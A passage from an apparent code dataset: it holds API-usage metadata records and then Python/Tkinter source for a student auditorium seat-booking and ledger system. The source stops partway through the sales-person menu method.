"usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 169, "usage_type": "call"}, {"api_name": "pandas.isna", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "database.db.fetch_professors_from_db", "line_number": 221, "usage_type": "call"}, {"api_name": "database.db", "line_number": 221, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 240, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 240, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 240, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 240, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "pandas.ExcelWriter", "line_number": 258, "usage_type": "call"}]}
{"seq_id": "3486486840", "text": "\n\nfrom datetime import datetime\nfrom functools import partial\nfrom tkinter import *\nfrom tkcalendar import *\nimport csv\nimport os.path\n\n\nclass Seat:\n    def __init__(self, seatnumber, seattype):\n        self.seatNumber = seatnumber\n        self.seatType = seattype\n        self.transactionID = None\n        self.allotmentStatus = False\n\n    def allot(self, ID):\n        self.allotmentStatus = True\n        self.transactionID = ID\n\n    def isAvailable(self):\n        return not self.allotmentStatus\n\n    # def print(self):\n    #     print(\"Seat Number: \" + self.seatNumber + \", Seat Type: \" + self.seatType)\n\n    def cancel(self):\n        self.allotmentStatus = False\n        self.transactionID = None\n\n\nclass Show:  # keep separate balcony normal arrays if we can. add a construct from excel method\n    def __init__(self, starttime, endtime, audiNum, name, nB, nN, priceB, priceN):\n        if (endtime < starttime):\n            # print(\"Time error\")\n            self.startTime = None  # DISPALY ERROR MESSSAGE IF START TIME> END TIME\n            self.endTime = None\n        else:\n            self.startTime = starttime  # DISPALY ERROR MESSSAGE IF START TIME> END TIME\n            self.endTime = endtime\n        self.name = name\n        self.priceBalcony = priceB  ##MUST BE VALID NUMBERS\n        self.priceNormal = priceN\n        self.bseats = [Seat(x, 'balcony') for x in range(0, nB)]\n        self.nseats = [Seat(x, 'normal') for x in range(0, nN)]\n        \n        self.audino = audiNum\n\n    def showAvailableSeats(self):  # differs from SRS prototype\n        return [x for x in self.bseats if x.isAvailable()], [x for x in self.nseats if x.isAvailable()]\n\n    def percentageOccupied(self):  # shorten this code\n        balconies = 0\n        nB = len(self.bseats)\n        normals = 0\n        nN = len(self.nseats)\n        for x in self.bseats:\n            if not x.isAvailable():\n                balconies += 1\n        for x in self.nseats:\n            if not x.isAvailable():\n                normals += 1\n\n        return 100 * (balconies + normals) / float(\n            nB + nN)  # if we can diverge from srs prototypes, nahi toh calculate karke print kardo\n\n\nclass Auditorium:\n    def __init__(self):\n        self.shows = []\n        # read excel file & create shows list\n\n    def addshow(self, show):\n        for x in self.shows:\n            if x.audino == show.audino and ((x.startTime >= show.startTime and x.startTime <= show.endTime) or (\n                    x.endTime >= show.startTime and x.endTime <= show.endTime) or (\n                                                    x.startTime <= show.startTime and x.endTime >= show.endTime)):\n                return False\n        self.shows.append(show)\n        return True\n        # update shows list\n\n    def findShow(self, name):\n        return [x for x in self.shows if name in x.name]\n\n\nclass Employee:\n    def __init__(self, ID, passw):\n        self.loginID = ID\n        self.password = passw\n\n\nclass ShowManager(Employee):\n    pass\n\n\nclass AuditClerk(Employee):\n    pass\n\n\nclass SalesPerson(Employee):\n    def __init__(self, ID, passw, rate):\n        self.transactions = []\n        self.commission = 0\n        self.rate = int(rate)\n        Employee.__init__(self, ID, passw)\n        # create file\n        # self.df = pd.dataframe(\"hdkf.csv\")\n\n    # def getTransactions(self,ledgy):                              #redundant function? prototype differs from SRS\n    #     ledgy.printTransactions(self.transactions)\n\n    def insertTransaction(self, ID):\n        self.transactions.append(ID)\n        # update excel file\n\n\nclass Transaction:\n    def __init__(self, price, ID, name, date):\n        self.value = price\n        self.transactionID = ID\n        self.name = name\n        self.date = date\n        # update excel file\n\n    def print(self):\n        print(\"Transaction ID: \", self.transactionID)\n        print(self.name)\n        print(\"Amount (Credited): \", self.value)\n        print(\"Date: \", self.date)\n\n\nclass Ledger:\n    def __init__(self):\n        self.transactions = {}  # dictionary : transactionID -> transaction\n        self.showRevenue = {}  # time adn audiNo as keys\n        # name and revenue generated as values\n        # read excel file + initialize trassactions dictionary\n\n    def printTransactions(self, transactionIDs):  # return type differs from SRS prototype\n        for x in transactionIDs:\n            if x not in self.transactions:\n                print(\"Transaction ID out of bounds error\")\n                return False\n        return [self.transactions[x] for x in transactionIDs]\n        # for x in transactionIDs:\n        #     self.transactions[x].print()\n\n    def addExpense(self, name, value, date):  # prototype differs from SRS\n        self.transactions[len(self.transactions)] = Transaction(value, len(self.transactions), name, date)\n        return True\n        # update excel file\n\n\nclass ManagementSystem:\n    def __init__(self):\n        self.auditoriums = Auditorium()  # SRS says auditorium array\n        self.ledger = Ledger()\n        self.employees = []\n        self.balanceSheet = {}  # [audino,starttime]->[name,value]\n        self.currentemployee = None\n\n    def save(self):\n        pass\n\n        # save to ledger.csv            format: ['ID','name','date','price']        name is a string of showname,audino,starttime, and is irrelevant mostly\n        fields = ['ID', 'name', 'date', 'price']\n\n        transactionFile = \"alltransactions.csv\"\n        with open(transactionFile, 'w', newline='') as csvfile:\n            writer = csv.DictWriter(csvfile, fieldnames=fields)\n            writer.writeheader()\n\n        '''t1 = Transaction(40,1,\"booking\",90)\n        t2 = Transaction(40,2,\"booking\",91)\n        transactionss = {1:t1,2:t2}'''\n        for key, y in self.ledger.transactions.items():\n            data = [y.transactionID, y.name, y.date, y.value]\n            transactionFile = open(\"alltransactions.csv\", 'a+', newline='')\n            with transactionFile:\n                write = csv.writer(transactionFile)\n                write.writerow(data)\n\n                # save to balancesheet.csv      format: [name, audino, starttime, value]\n        fields = ['name', 'audino', 'starttime', 'value']\n        balSheet = \"balanceSheet.csv\"\n        with open(balSheet, 'w', newline='') as csvfile:\n            writer = csv.DictWriter(csvfile, fieldnames=fields)\n            writer.writeheader()\n\n        for key, y in self.balanceSheet.items():\n            audinum = key.split(' ;')[0]\n            date = key.split(' ;')[1]\n            data = [y[1], audinum, date, y[0]]\n            balSheet = open(\"balanceSheet.csv\", 'a+', newline='')\n            with balSheet:\n                write = csv.writer(balSheet)\n                write.writerow(data)\n\n                # save to shows.csv    format: [starttime, endtime, audiNum, name, nB, nN, priceB, priceN]\n        fields = ['starttime', 'endtime', 'audiNum', 'name', 'numBalcony', 'numNormal', 'priceB', 'priceN']\n        showsList = \"Shows.csv\"\n        with open(showsList, 'w', newline='') as csvfile:\n            writer = csv.DictWriter(csvfile, fieldnames=fields)\n            writer.writeheader()\n\n        for x in self.auditoriums.shows:\n            data = [x.startTime, x.endTime, x.audino, x.name, len(x.bseats), len(x.nseats), x.priceBalcony,\n                    x.priceNormal]\n            showsFile = open(\"Shows.csv\", 'a+', newline='')\n            with showsFile:\n                write = csv.writer(showsFile)\n                write.writerow(data)\n            fields = ['number', 'type', 'transactionId', 'status']\n            seatFile = x.name + \"_\" + str(x.audino) + \"_\" + x.startTime.strftime(\"%c\") + \".csv\"\n            seatFile = seatFile.replace(\" \", \"_\")\n            seatFile = seatFile.replace(\":\", \"_\")\n\n            with open(seatFile, 'w+', newline='') as csvfile:\n                writer = csv.DictWriter(csvfile, fieldnames=fields)\n                writer.writeheader()\n            for y in x.bseats:\n                data2 = [y.seatNumber, \"balcony\", y.transactionID, y.allotmentStatus]\n                seatfilee = open(seatFile, 'a+', newline='')\n                with seatfilee:\n                    write = csv.writer(seatfilee)\n                    write.writerow(data2)\n            for y in x.nseats:\n                data2 = [y.seatNumber, \"normal\", y.transactionID, y.allotmentStatus]\n                seatfilee = open(seatFile, 'a+', newline='')\n                with seatfilee:\n                    write = csv.writer(seatfilee)\n                    write.writerow(data2)\n                    # save seats for each show to \"avengers 3 Mon, Jan 1 2001 00:00\".csv\n\n        # save to employees.csx    format:[id, password,commission rate,commission,type,transactionList]\n        fields = ['id', 'password', 'commission rate', 'commission', 'type', 'transactionList']\n        employeeFile = \"employees.csv\"\n        with open(employeeFile, 'w', newline='') as csvfile:\n            writer = csv.DictWriter(csvfile, fieldnames=fields)\n            writer.writeheader()\n\n        for y in self.employees:\n            data = [y.loginID, y.password]\n            if isinstance(y, ShowManager):\n                data.extend([-1, -1, \"showmanager\", \" \"])\n            elif isinstance(y, AuditClerk):\n                data.extend([-1, -1, \"auditclerk\", \" \"])\n            else:\n                data.extend([y.rate, y.commission, \"salesperson\", y.transactions])\n\n            employeeFile = open(\"employees.csv\", 'a+', newline='')\n            with employeeFile:\n                write = csv.writer(employeeFile)\n                write.writerow(data)\n\n    '''def read(self, ledgerfile, loginfile, auditoriumfile):  # method not in SRS\n        pass  # TBD'''\n\n    def book(self, operation, frame, seat, show):\n        Label(frame,\n              text=(operation + \" of seat number \" + str(\n                  seat.seatNumber + 1) + \" for show \" + show.name + \" unsuccessful\"),\n              bg=\"#ffd6d6\").place(relx=0.1, rely=0.75, relheight=0.2, relwidth=0.8)\n        ID = len(self.ledger.transactions)\n        if seat.seatType == 'normal':\n            value = show.priceNormal\n        else:\n            value = show.priceBalcony\n        if seat.isAvailable():\n            seat.allot(ID)\n            self.ledger.addExpense(show.name + show.audino + show.startTime.strftime(\"%c\"), value, datetime.now())\n        else:\n            seat.cancel()\n            value *= -1\n            self.ledger.addExpense(show.name + show.audino + show.startTime.strftime(\"%c\"), value, datetime.now())\n\n        self.currentemployee.transactions.append(ID)\n        self.currentemployee.commission += self.currentemployee.rate * value\n        key = str(show.audino) + ' ;' + show.startTime.strftime(\"%c\")\n        self.balanceSheet[key] = [self.balanceSheet.get(key, [0, ''])[0] + value, show.name]\n\n        Label(frame,\n              text=(operation + \" of seat number \" + str(\n                  seat.seatNumber + 1) + \" for show \" + show.name + \" successful\"),\n              bg=\"#ffd6d6\").place(relx=0.1, rely=0.75, relheight=0.2, relwidth=0.8)\n\n        return [ID, value]\n\n    def createshow(self, frame, name, audiN, start, end, nBalcony, nNormal, priceBalc, priceNormal):\n\n        # 01/01/21 00:00\n\n        newf = Frame(frame, bg=\"#ffd6d6\")\n        newf.place(relx=0.05, rely=0.14, relwidth=0.9, relheight=0.81)\n        show = Show(datetime.strptime(start, '%m/%d/%y %H:%M'), datetime.strptime(end, '%m/%d/%y %H:%M'), audiN, name,\n                    int(nBalcony), int(nNormal), int(priceBalc), int(priceNormal))\n        for x in self.auditoriums.shows:\n            if x.name is name and x.startTime is show.startTime and x.audino is audiN:\n                label = Label(newf, text=\"Show Exists Already\", bg=\"#ffd6d6\")\n                label.place(relx=0, rely=0, relheight=1, relwidth=1)\n                return\n        self.auditoriums.addshow(show)\n        label = Label(newf, text=\"Show Added\", bg=\"#ffd6d6\")\n        label.place(relx=0, rely=0, relheight=1, relwidth=1)\n        return\n\n    def createSP(self, frame, loginID, password, rate):\n        # create a new window saying create hua ya nahi\n        sp = SalesPerson(loginID, password, rate)\n        newf = Frame(frame, bg=\"#ffd6d6\")\n        newf.place(relx=0.05, rely=0.14, relwidth=0.9, relheight=0.81)\n\n        for x in self.employees:\n            if x.loginID is loginID:\n                label = Label(newf, text=\"Login ID taken. Please try again\", bg=\"#ffd6d6\")\n                label.place(relx=0, rely=0, relheight=1, relwidth=1)\n                return\n\n        self.employees.append(sp)\n        # save employee to excel\n        label = Label(newf, text=\"Account Created\", bg=\"#ffd6d6\")\n        label.place(relx=0, rely=0, relheight=1, relwidth=1)\n\n    def loginUI(self, root):  # prototype differs from SRS\n\n        frame = Frame(root, bg=\"#ffd6d6\")\n        frame.place(relwidth=1, relheight=1)\n\n        button6 = Button(frame, text=\"Go Back\", command=frame.destroy)\n        button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n        label1 = Label(frame, text=\"Login ID:\", bg=\"#ffd6d6\")\n        label1.place(relx=0.05, rely=0.25, relwidth=0.2, relheight=0.15)\n\n        entry1 = Entry(frame)\n        entry1.place(relx=0.35, rely=0.25, relwidth=0.6, relheight=0.15)\n\n        label2 = Label(frame, text=\"Password\", bg=\"#ffd6d6\")\n        label2.place(relx=0.05, rely=0.5, relwidth=0.2, relheight=0.15)\n\n        entry2 = Entry(frame)\n        entry2.place(relx=0.35, rely=0.5, relwidth=0.6, relheight=0.15)\n\n        def login(ID, passw):\n            for emp in self.employees:\n                if emp.loginID == ID and emp.password == passw:\n                    self.currentemployee = emp\n                    if isinstance(emp, SalesPerson):\n                        self.SalesPersonMenu(root)\n                        return\n                    elif isinstance(emp, AuditClerk):\n                        self.AuditClerkMenu(root)\n                        return\n                    else:\n                        self.ShowManagerMenu(root)\n                        return\n\n            print(\"invalid login\")\n\n        button1 = Button(frame, text='Login', command=lambda: login(str(entry1.get()), str(entry2.get())))\n        button1.place(relx=0.45, rely=0.75, relwidth=0.1, relheight=0.15)\n\n    def homeUI(self):\n        root = Tk()\n        root.title(\"STUDENTS' AUDITORIUM MANAGEMENT SYSTEM\")\n        canvas = Canvas(root, height=300, width=750)\n        canvas.pack()\n\n        frame = Frame(root, bg=\"#ffd6d6\")\n        frame.place(relwidth=1, relheight=1)\n\n        button1 = Button(frame, text='Employee', command=lambda: self.loginUI(root))\n        button1.place(relx=0.3, rely=0.4, relwidth=0.1, relheight=0.2)\n\n        button2 = Button(frame, text='Spectator', command=lambda: self.SpectatorMenu(root))\n        button2.place(relx=0.6, rely=0.4, relwidth=0.1, relheight=0.2)\n\n        root.mainloop()\n\n    def ShowManagerMenu(self, root):\n        print('Show manager menu called')\n        frame = Frame(root, bg=\"#ffd6d6\")\n        frame.place(relwidth=1, relheight=1)\n\n        def createshowUI():\n            newframe = Frame(root, bg=\"#ffd6d6\")\n            newframe.place(relwidth=1, relheight=1)\n\n            label1 = Label(newframe, text=\"Name:\", bg=\"#ffd6d6\")\n            label1.place(relx=0.05, rely=0.14, relwidth=0.15, relheight=0.12)\n\n            entry1 = Entry(newframe)\n            entry1.place(relx=0.25, rely=0.14, relwidth=0.2, relheight=0.12)\n\n            label2 = Label(newframe, text=\"Auditorium Number:\", bg=\"#ffd6d6\")\n            label2.place(relx=0.5, rely=0.14, relwidth=0.2, relheight=0.12)\n\n            entry2 = Entry(newframe)\n            entry2.place(relx=0.75, rely=0.14, relwidth=0.2, relheight=0.12)\n            global starttime, endtime, startdate, enddate\n\n            def getsdt():\n                cal = Calendar(root, selectmode='day',\n                               year=2020, month=5,\n                               day=22)\n\n                cal.place(relx=0.05, rely=0.43)\n\n                def grad_date():\n                    global startdate\n                    c = cal.get_date()\n                    print(c)\n                    startdate = c\n                    cal.destroy()\n\n                    options = ['00:00', '01:00', '02:00', '03:00', '04:00', '05:00', '06:00', '07:00', '08:00', '09:00',\n                               '10:00', '11:00', '12:00', '13:00', '14:00', '15:00', '16:00', '17:00', '18:00', '19:00',\n                               '20:00', '21:00', '22:00', '23:00']\n                    clicked = StringVar()\n\n                    clicked.set(\"Select Time\")\n\n                    etime = ' time not selected'\n\n                    def gettime(v, c):\n                        v = str(v)\n                        print(v)\n                        global startdate\n                        startdate += ' ' + c\n                        drop.destroy()\n                        bb.destroy()\n                        labelst = Label(newframe, text=(c + \" \" + v), bg=\"#ffd6d6\")\n                        labelst.place(relx=0.25, rely=0.30, relwidth=0.2, relheight=0.12)\n\n                    drop = OptionMenu(root, clicked, *options, command=partial(gettime, c))\n                    drop.place(relx=0.25, rely=0.30)\n\n                bb = Button(root, text=\"Done\",\n                            command=grad_date)\n                bb.place(relx=0.25, rely=0.30)\n\n            buttonst = Button(newframe, text=\"Start Time:\", command=getsdt)\n            buttonst.place(relx=0.05, rely=0.30, relwidth=0.15, relheight=0.12)\n\n            def getedt():\n                cal = Calendar(root, selectmode='day',\n                               year=2020, month=5,\n                               day=22)\n\n                cal.place(relx=0.55, rely=0.43)\n\n                def grad_date():\n                    c = cal.get_date()\n                    print(c)\n                    cal.destroy()\n                    global enddate\n                    enddate = c\n                    options = ['00:00', '01:00', '02:00', '03:00', '04:00', '05:00', '06:00', '07:00', '08:00', '09:00',\n                               '10:00', '11:00', '12:00', '13:00', '14:00', '15:00', '16:00', '17:00', '18:00', '19:00',\n                               '20:00', '21:00', '22:00', '23:00']\n                    clicked = StringVar()\n\n                    clicked.set(\"Select Time\")\n\n                    etime = ' time not selected'\n\n                    def gettime(v, c):\n                        v = str(v)\n                        print(v)\n                        global enddate\n                        enddate += ' ' + c\n                        drop.destroy()\n                        bb.destroy()\n                        labelst = Label(newframe, text=(c + \" \" + v), bg=\"#ffd6d6\")\n                        labelst.place(relx=0.75, rely=0.30, relwidth=0.2, relheight=0.12)\n\n                    drop = OptionMenu(root, clicked, *options, command=partial(gettime, c))\n                    drop.place(relx=0.75, rely=0.30)\n\n                bb = Button(root, text=\"Done\",\n                            command=grad_date)\n                bb.place(relx=0.75, rely=0.30)\n\n            buttonet = Button(newframe, text=\"End Time:\", command=getedt)\n            buttonet.place(relx=0.55, rely=0.30, relwidth=0.15, relheight=0.12)\n\n            label5 = Label(newframe, text=\"Balcony Seats:\", bg=\"#ffd6d6\")\n            label5.place(relx=0.05, rely=0.46, relwidth=0.15, relheight=0.12)\n\n            entry5 = Entry(newframe)\n            entry5.place(relx=0.25, rely=0.46, relwidth=0.2, relheight=0.12)\n\n            label6 = Label(newframe, text=\"Normal Seats:\", bg=\"#ffd6d6\")\n            label6.place(relx=0.55, rely=0.46, relwidth=0.15, relheight=0.12)\n\n            entry6 = Entry(newframe)\n            entry6.place(relx=0.75, rely=0.46, relwidth=0.2, relheight=0.12)\n\n            label7 = Label(newframe, text=\"Price Balcony:\", bg=\"#ffd6d6\")\n            label7.place(relx=0.05, rely=0.66, relwidth=0.15, relheight=0.12)\n\n            entry7 = Entry(newframe)\n            entry7.place(relx=0.25, rely=0.66, relwidth=0.2, relheight=0.12)\n\n            label8 = Label(newframe, text=\"Price Normal:\", bg=\"#ffd6d6\")\n            label8.place(relx=0.55, rely=0.66, relwidth=0.15, relheight=0.12)\n\n            entry8 = Entry(newframe)\n            entry8.place(relx=0.75, rely=0.66, relwidth=0.2, relheight=0.12)\n\n            button1 = Button(newframe, text=\"Create\",\n                             command=lambda: self.createshow(newframe, entry1.get(), entry2.get(), startdate,\n                                                             enddate, entry5.get(), entry6.get(), entry7.get(),\n                                                             entry8.get()))\n            button1.place(relx=0.45, relwidth=0.1, rely=0.86, relheight=0.1)\n\n            button6 = Button(newframe, text=\"Go Back\", command=newframe.destroy)\n            button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n        def createSPUI():\n            newframe = Frame(root, bg=\"#ffd6d6\")\n            newframe.place(relwidth=1, relheight=1)\n\n            label1 = Label(newframe, text=\"Login ID:\", bg=\"#ffd6d6\")\n            label1.place(relx=0.05, rely=0.235, relwidth=0.425, relheight=0.12)\n\n            entry1 = Entry(newframe)\n            entry1.place(relx=0.525, rely=0.235, relwidth=0.425, relheight=0.12)\n\n            label2 = Label(newframe, text=\"Password:\", bg=\"#ffd6d6\")\n            label2.place(relx=0.05, rely=0.44, relwidth=0.425, relheight=0.12)\n\n            entry2 = Entry(newframe)\n            entry2.place(relx=0.525, rely=0.44, relwidth=0.425, relheight=0.12)\n\n            label3 = Label(newframe, text=\"Commission Rate:\", bg=\"#ffd6d6\")\n            label3.place(relx=0.05, rely=0.645, relwidth=0.425, relheight=0.12)\n\n            entry3 = Entry(newframe)\n            entry3.place(relx=0.525, rely=0.645, relwidth=0.425, relheight=0.12)\n\n            button6 = Button(newframe, text=\"Go Back\", command=newframe.destroy)\n            button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n            button1 = Button(newframe, text=\"Create\",\n                             command=lambda: self.createSP(newframe, entry1.get(), entry2.get(), entry3.get()))\n            button1.place(relx=0.45, relwidth=0.1, rely=0.85, relheight=0.1)\n\n        def schedule():\n            newframe = Frame(root, bg=\"#ffd6d6\")\n            newframe.place(relwidth=1, relheight=1)\n\n            button6 = Button(newframe, text=\"Go Back\", command=newframe.destroy)\n            button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n            label1 = Label(newframe, text=\"Enter Auditorium Number:\", bg=\"#ffd6d6\")\n            label1.place(relx=0.05, rely=0.2, relwidth=0.3, relheight=0.1)\n\n            entry1 = Entry(newframe)\n            entry1.place(relx=0.45, rely=0.2, relwidth=0.2, relheight=0.1)\n\n            button1 = Button(newframe, text=\"View Schedule\", command=lambda: display(entry1.get()))\n            button1.place(relx=0.75, relwidth=0.2, rely=0.2, relheight=0.1)\n\n            box = Frame(newframe, bg=\"#ffd6d6\")\n            box.place(relx=0.05, rely=0.35, relwidth=0.9, relheight=0.6)\n\n            def display(audi):\n                listbox = Listbox(box)\n                listbox.insert(1,\n                               \"Name\" + \" \" * 36 + \"Start Time\" + \" \" * 30 + \"End Time\" + \" \" * 32 + \"Percentage occupied\")\n                for x in self.auditoriums.shows:\n                    if x.audino is audi:\n                        listbox.insert(listbox.size() + 1,\n                                       x.name + \" \" * (40 - len(x.name)) + x.startTime.strftime(\"%c\") + \" \" * (\n                                               40 - len(x.startTime.strftime(\"%c\"))) + x.endTime.strftime(\n                                           \"%c\") + \" \" * (\n                                               40 - len(x.endTime.strftime(\"%c\"))) + str(x.percentageOccupied()))\n\n                listbox.place(relx=0, rely=0, relheight=1, relwidth=1)\n\n        def transactionHistory():\n            newframe = Frame(root, bg=\"#ffd6d6\")\n            newframe.place(relwidth=1, relheight=1)\n\n            button6 = Button(newframe, text=\"Go Back\", command=newframe.destroy)\n            button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n            label1 = Label(newframe, text=\"Select Sales Person:\", bg=\"#ffd6d6\")\n            label1.place(relx=0.05, rely=0.2, relwidth=0.2, relheight=0.1)\n\n            listbox = Listbox(newframe)\n            # listbox.insert('Transaction ID'+' '*(26)+'Name'+' '*36+'Date'+' '*36 + 'Amount')\n            # listbox.insert('Login ID:')\n            for x in self.employees:\n                if isinstance(x, SalesPerson):\n                    listbox.insert(listbox.size() + 1, str(x.loginID))\n            listbox.place(relx=0.05, rely=0.35, relwidth=0.9, relheight=0.6)\n\n            def getHistory(event):\n                ID = str(listbox.get(listbox.curselection()))\n                for x in self.employees:\n                    if x.loginID == ID:\n                        emp = x\n                newnewframe = Frame(root, bg=\"#ffd6d6\")\n                newnewframe.place(relwidth=1, relheight=1)\n\n                button6 = Button(newnewframe, text=\"Go Back\", command=newnewframe.destroy)\n                button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n                translist = Listbox(newnewframe)\n                translist.insert(1,'Transaction ID' + ' ' * (26) + 'Name' + ' ' * 36 + 'Date' + ' ' * 36 + 'Amount')\n                for x in emp.transactions:\n                    y = self.ledger.transactions[x]\n                    translist.insert(translist.size() + 1,\n                                     str(y.transactionID) + \" \"*(40-len(str(y.transactionID))) + y.name + \" \"*(40-len(y.name)) + y.date.strftime(\"%c\") + \" \"*(40-len(y.date.strftime(\"%c\"))) + str(\n                                         y.value)\n                                     )\n\n                translist.place(relx=0.05, rely=0.2, relwidth=0.9, relheight=0.75)\n\n            listbox.bind('<Double-1>', getHistory)\n\n        def balanceSheet():\n            newframe = Frame(root, bg=\"#ffd6d6\")\n            newframe.place(relwidth=1, relheight=1)\n\n            button6 = Button(newframe, text=\"Go Back\", command=newframe.destroy)\n            button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n            listbox = Listbox(newframe)\n            listbox.insert(1,'Show Name'+' '*23 + 'Auditorium Number'+' '*23 + 'Date'+' '*36+'Value')\n            for key, value in self.balanceSheet.items():\n                listbox.insert(listbox.size() + 1,\n                               value[1] + ' '*(40-len(value[1])) + key.split(' ;')[0] + ' '*(40-len(key.split(' ;')[0])) + key.split(' ;')[1] + ' '*(40-len(key.split(' ;')[1])) + str(value[0]))\n            # insert things to listbox from self.balancesheet\n            listbox.place(relx=0.05, relwidth=0.9, rely=0.2, relheight=0.75)\n\n        button1 = Button(frame, text=\"Create a Show\", command=createshowUI)\n        button1.place(relx=0.05, rely=0.2, relwidth=0.425, relheight=0.2)\n\n        button2 = Button(frame, text=\"Create a Sales Person Account\", command=createSPUI)\n        button2.place(relx=0.525, rely=0.2, relwidth=0.425, relheight=0.2)\n\n        button3 = Button(frame, text=\"View Auditorium Schedule\", command=schedule)\n        button3.place(relx=0.05, relwidth=0.425, rely=0.45, relheight=0.2)\n\n        button4 = Button(frame, text=\"View Sales Person Transaction History\", command=transactionHistory)\n        button4.place(relx=0.525, relwidth=0.425, rely=0.45, relheight=0.2)\n\n        button5 = Button(frame, text=\"View Balance Sheet\", command=balanceSheet)\n        button5.place(relx=0.2875, relwidth=0.425, rely=0.7, relheight=0.2)\n\n        button6 = Button(frame, text=\"Logout\", command=frame.destroy)\n        button6.place(relx=0.05, relwidth=0.075, rely=0.05, relheight=0.1)\n\n        # to create employees with id and password\n        # username must be unique\n        # update excel file\n        # add shows\n        '''//starttime<end time\n//audi should be empty\n//no duplicates\n//audi number should be valid'''\n\n    def SalesPersonMenu(self, sproot):\n\n        framed = Frame(sproot, bg=\"#ffd6d6\")\n        framed.place(relwidth=1, relheight=1)\n\n        spframe = Frame(sproot, bg=\"#ffd6d6\")\n        